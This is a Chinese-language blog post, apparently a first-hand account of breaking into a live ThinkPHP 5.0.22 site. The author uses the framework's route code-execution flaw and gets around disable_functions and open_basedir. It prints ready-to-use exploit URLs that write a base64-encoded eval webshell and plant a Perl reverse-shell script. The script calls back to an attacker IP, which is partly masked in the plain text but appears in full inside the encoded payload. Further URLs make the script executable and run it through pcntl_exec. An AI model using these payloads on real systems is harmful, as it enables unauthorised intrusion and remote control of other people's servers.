记一次在tp5代码执行下的pcntl_exec瞎操作

0x00 已知条件
tp 5 路由代码执行
php 7.3.9,thinkphp 5.0.22 linux
有cloudflare
disable_function禁用以下函数
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server

发现没有pcntl_exec在里面,而且pcntl_exec开启

 

 open_basedir限制

/home/wwwroot/example/:/tmp/:/proc/:/home/wwwroot/

根目录

/home/wwwroot/example/

包含函数失效(千奇百怪)

think\__include_file
think\__require_file

 

0x01 突破

直接写php会写不进去,用php://filter base64encode包装一下写入,file_input_contents写php,发现public目录下没有任何可写目录,只有runtime和/tmp/目录下有写权限,php写进去了,但是没办法执行

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/home/wwwroot/example/s.php&vars[1][]=PD9waHAKQGV2YWwoJF9HRVRbJ3IwMCddKTsKcmV0dXJuIFsnYXBwX2luaXQnICAgICA9PiBbXSwnYXBwX2JlZ2luJyAgICA9PiBbXSwnbW9kdWxlX2luaXQnICA9PiBbXSwnYWN0aW9uX2JlZ2luJyA9PiBbXSwndmlld19maWx0ZXInICA9PiBbXSwnbG9nX3dyaXRlJyAgICA9PiBbXSwnYXBwX2VuZCcgICAgICA9PiBbXTsKPz4=
尝试直接用pcntl_exec执行命令
一直接传命令的方式,会被cloudflare拦截
二尝试用文件的方式执行,pcntl_exec反弹shell脚本
#!/usr/bin/perl -w
#

use strict;    
use Socket;
use IO::Handle;

my $remote_ip = 'xxx.xxx.xx.xx';
my $remote_port = '12345';

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));
my $shell = '/bin/sh -i';
socket(SOCK, AF_INET, SOCK_STREAM, $proto);
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect(SOCK,$pack_addr) or die "can not connect:$!";
open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
system($shell);
close SOCK;
exit 0;

写入perl脚本到tmp目录,url编码一下,防止+号失效

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=php://filter/write=convert.base64-decode/resource=/tmp/ss1.perl&vars[1][]=IyEvdXNyL2Jpbi9wZXJsIC13CiMKCnVzZSBzdHJpY3Q7ICAgIAp1c2UgU29ja2V0Owp1c2UgSU86OkhhbmRsZTsKCm15ICRyZW1vdGVfaXAgPSAnMTE5LjI5LjEuNDgnOwpteSAkcmVtb3RlX3BvcnQgPSAnMTIzNDUnOwpteSAkcHJvdG8gPSBnZXRwcm90b2J5bmFtZSgidGNwIik7Cm15ICRwYWNrX2FkZHIgPSBzb2NrYWRkcl9pbigkcmVtb3RlX3BvcnQsIGluZXRfYXRvbigkcmVtb3RlX2lwKSk7Cm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsKc29ja2V0KFNPQ0ssIEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pOwpTVERPVVQtPmF1dG9mbHVzaCgxKTsKU09DSy0%2bYXV0b2ZsdXNoKDEpOwpjb25uZWN0KFNPQ0ssJHBhY2tfYWRkcikgb3IgZGllICJjYW4gbm90IGNvbm5lY3Q6JCEiOwpvcGVuIFNURElOLCAiPCZTT0NLIjsKb3BlbiBTVERPVVQsICI%2bJlNPQ0siOwpvcGVuIFNUREVSUiwgIj4mU09DSyI7CnN5c3RlbSgkc2hlbGwpOwpjbG9zZSBTT0NLOwpleGl0IDA7
chmod 没法设置权限,默认没有执行权限,chmod第二个参数只能传八进制,但这里只能传字符串。但可以利用弱类型自动转换来
传入

 

 

字符串511-》十进制511 等同于八进制0755

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=chmod&vars[1][]=/tmp/ss1.perl&vars[1][]=511 

执行命令

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=pcntl_exec&vars[1][]=/tmp/ss1.perl

由于有cdn,可能没生成成功,用intruder爆破批量生成维持一下,成功反弹shell

 

 

 

0x02 后续

反弹shell之后看了一下,发现根本没有public目录,这个/home/wwwroot/example就是根目录,很明显之前脑子出问题了
runtime目录是可以直接访问的,static/img目录下也是有权限的,直接利用file_input_contents写进去就完事了

 

 因为cdn的问题,会访问不了,用intruder 设置null payloads批量生成一下,访问getshell

 

 0x03 总结

 
拿下才发现,其实早之前就可以getshell了,之前已经写shell到runtime了,因为误判以为runtime目录访问不到,加上cdn的佐证,一直想着包含getshell,但包含不了。最后走上了pcntl_exec这条不归路
才导致后续这一系列瞎操作,但通过pcntl_exec反弹shell还是很香的,在web目录限制没有办法访问shell或者没地方写入的时候

  

posted @ 2020-04-05 11:44  水泡泡  阅读(669)  评论(0编辑  收藏